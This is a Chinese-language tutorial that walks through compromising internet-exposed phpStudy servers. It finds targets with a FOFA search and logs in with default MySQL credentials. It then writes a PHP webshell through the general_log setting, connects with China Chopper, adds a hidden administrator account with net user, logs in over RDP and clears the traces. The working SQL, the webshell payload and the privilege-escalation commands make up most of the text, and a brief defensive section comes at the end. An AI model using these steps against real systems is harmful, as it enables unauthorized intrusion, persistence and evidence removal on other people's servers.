开局一个弱口令直接拿Shell
字数 1110 2025-08-15 21:32:18

MySQL弱口令利用与提权实战指南

前言

本教程详细讲解如何通过MySQL弱口令获取系统权限的完整过程,重点针对使用phpStudy环境的服务器。弱口令安全问题是许多系统被入侵的主要原因之一,了解这些攻击手法有助于更好地进行防御。

信息收集阶段

  1. 目标识别

    • 使用FOFA搜索引擎查找目标:body="phpstudy探针" && title="phpStudy 探针 2014"
    • 这类目标通常使用phpStudy集成环境,可能存在默认配置
  2. 探针页面分析

    • 访问目标后,记录网站的绝对路径(后续利用需要)
    • 检查phpStudy探针页面,通常在页面底部有MySQL连接测试功能

弱口令测试

  1. 常用默认凭证

    • phpStudy默认MySQL账号密码:root/root
    • 其他常见弱口令组合:root/空密码root/123456
  2. 登录phpMyAdmin

    • 标准路径:http://目标IP/phpmyadmin
    • 使用获取的凭证尝试登录

利用日志文件写入Webshell

方法一:通过SQL命令操作

  1. 检查日志状态

    show variables like 'general_log'; -- 查看日志是否开启
    show variables like 'general_log_file'; -- 查看日志文件位置
    show variables like 'log_output'; -- 查看日志输出类型
    
  2. 配置日志设置

    set global general_log=on; -- 开启日志功能
    set global general_log_file='D:/WWW/test.php'; -- 设置日志文件为PHP文件
    set global log_output='file'; -- 设置输出类型为文件
    
  3. 写入Webshell

    SELECT '<?php assert($_POST["cmd"]); ?>';
    

方法二:通过phpMyAdmin界面操作

  1. 导航到"变量"选项卡

  2. 找到并修改以下变量:

    • general_log → ON
    • general_log_file → 网站根目录下的PHP文件(如:D:/WWW/shell.php)
    • log_output → file
  3. 执行任意SQL查询写入PHP代码

Webshell连接与利用

  1. 使用中国菜刀连接

    • 连接URL设置为日志文件路径(如:http://目标IP/shell.php)
    • 密码参数为cmd
  2. 虚拟终端功能

    • 通过菜刀的虚拟终端执行系统命令
    • 首先检查当前权限:whoami

系统提权操作

  1. 添加用户

    net user 用户名 密码 /add
    
    • 若密码不符合策略,需调整或使用更复杂密码
  2. 提升为管理员

    net localgroup administrators 用户名 /add
    
  3. 检查远程桌面服务

    tasklist /svc | findstr TermService
    netstat -ano | findstr 进程ID
    
  4. 通过RDP登录

    • 如果3389端口开放,直接使用新建凭证登录

痕迹清理

  1. 删除创建的Webshell文件
  2. 重置MySQL日志配置:
    set global general_log=off;
    set global general_log_file='原路径';
    

防御措施

  1. 密码安全

    • 修改所有默认凭证
    • 使用强密码策略(大小写字母、数字、特殊字符组合)
  2. 权限控制

    • MySQL用户应使用最小权限原则
    • 限制Web目录的写入权限
  3. 日志管理

    • 禁用不必要的日志功能
    • 监控日志文件目录的异常文件
  4. 服务加固

    • 关闭不必要的服务(如远程桌面)
    • 定期更新系统和应用软件

总结

本教程展示了从MySQL弱口令到系统完全控制的完整攻击链,强调了默认配置和弱口令带来的安全风险。防御方应定期审计系统配置,实施最小权限原则,并监控异常活动。

MySQL弱口令利用与提权实战指南 前言 本教程详细讲解如何通过MySQL弱口令获取系统权限的完整过程,重点针对使用phpStudy环境的服务器。弱口令安全问题是许多系统被入侵的主要原因之一,了解这些攻击手法有助于更好地进行防御。 信息收集阶段 目标识别 : 使用FOFA搜索引擎查找目标: body="phpstudy探针" && title="phpStudy 探针 2014" 这类目标通常使用phpStudy集成环境,可能存在默认配置 探针页面分析 : 访问目标后,记录网站的绝对路径(后续利用需要) 检查phpStudy探针页面,通常在页面底部有MySQL连接测试功能 弱口令测试 常用默认凭证 : phpStudy默认MySQL账号密码: root/root 其他常见弱口令组合: root/空密码 、 root/123456 等 登录phpMyAdmin : 标准路径: http://目标IP/phpmyadmin 使用获取的凭证尝试登录 利用日志文件写入Webshell 方法一:通过SQL命令操作 检查日志状态 : 配置日志设置 : 写入Webshell : 方法二:通过phpMyAdmin界面操作 导航到"变量"选项卡 找到并修改以下变量: general_log → ON general_log_file → 网站根目录下的PHP文件(如:D:/WWW/shell.php) log_output → file 执行任意SQL查询写入PHP代码 Webshell连接与利用 使用中国菜刀连接 : 连接URL设置为日志文件路径(如:http://目标IP/shell.php) 密码参数为 cmd 虚拟终端功能 : 通过菜刀的虚拟终端执行系统命令 首先检查当前权限: whoami 系统提权操作 添加用户 : 若密码不符合策略,需调整或使用更复杂密码 提升为管理员 : 检查远程桌面服务 : 通过RDP登录 : 如果3389端口开放,直接使用新建凭证登录 痕迹清理 删除创建的Webshell文件 重置MySQL日志配置: 防御措施 密码安全 : 修改所有默认凭证 使用强密码策略(大小写字母、数字、特殊字符组合) 权限控制 : MySQL用户应使用最小权限原则 限制Web目录的写入权限 日志管理 : 禁用不必要的日志功能 监控日志文件目录的异常文件 服务加固 : 关闭不必要的服务(如远程桌面) 定期更新系统和应用软件 总结 本教程展示了从MySQL弱口令到系统完全控制的完整攻击链,强调了默认配置和弱口令带来的安全风险。防御方应定期审计系统配置,实施最小权限原则,并监控异常活动。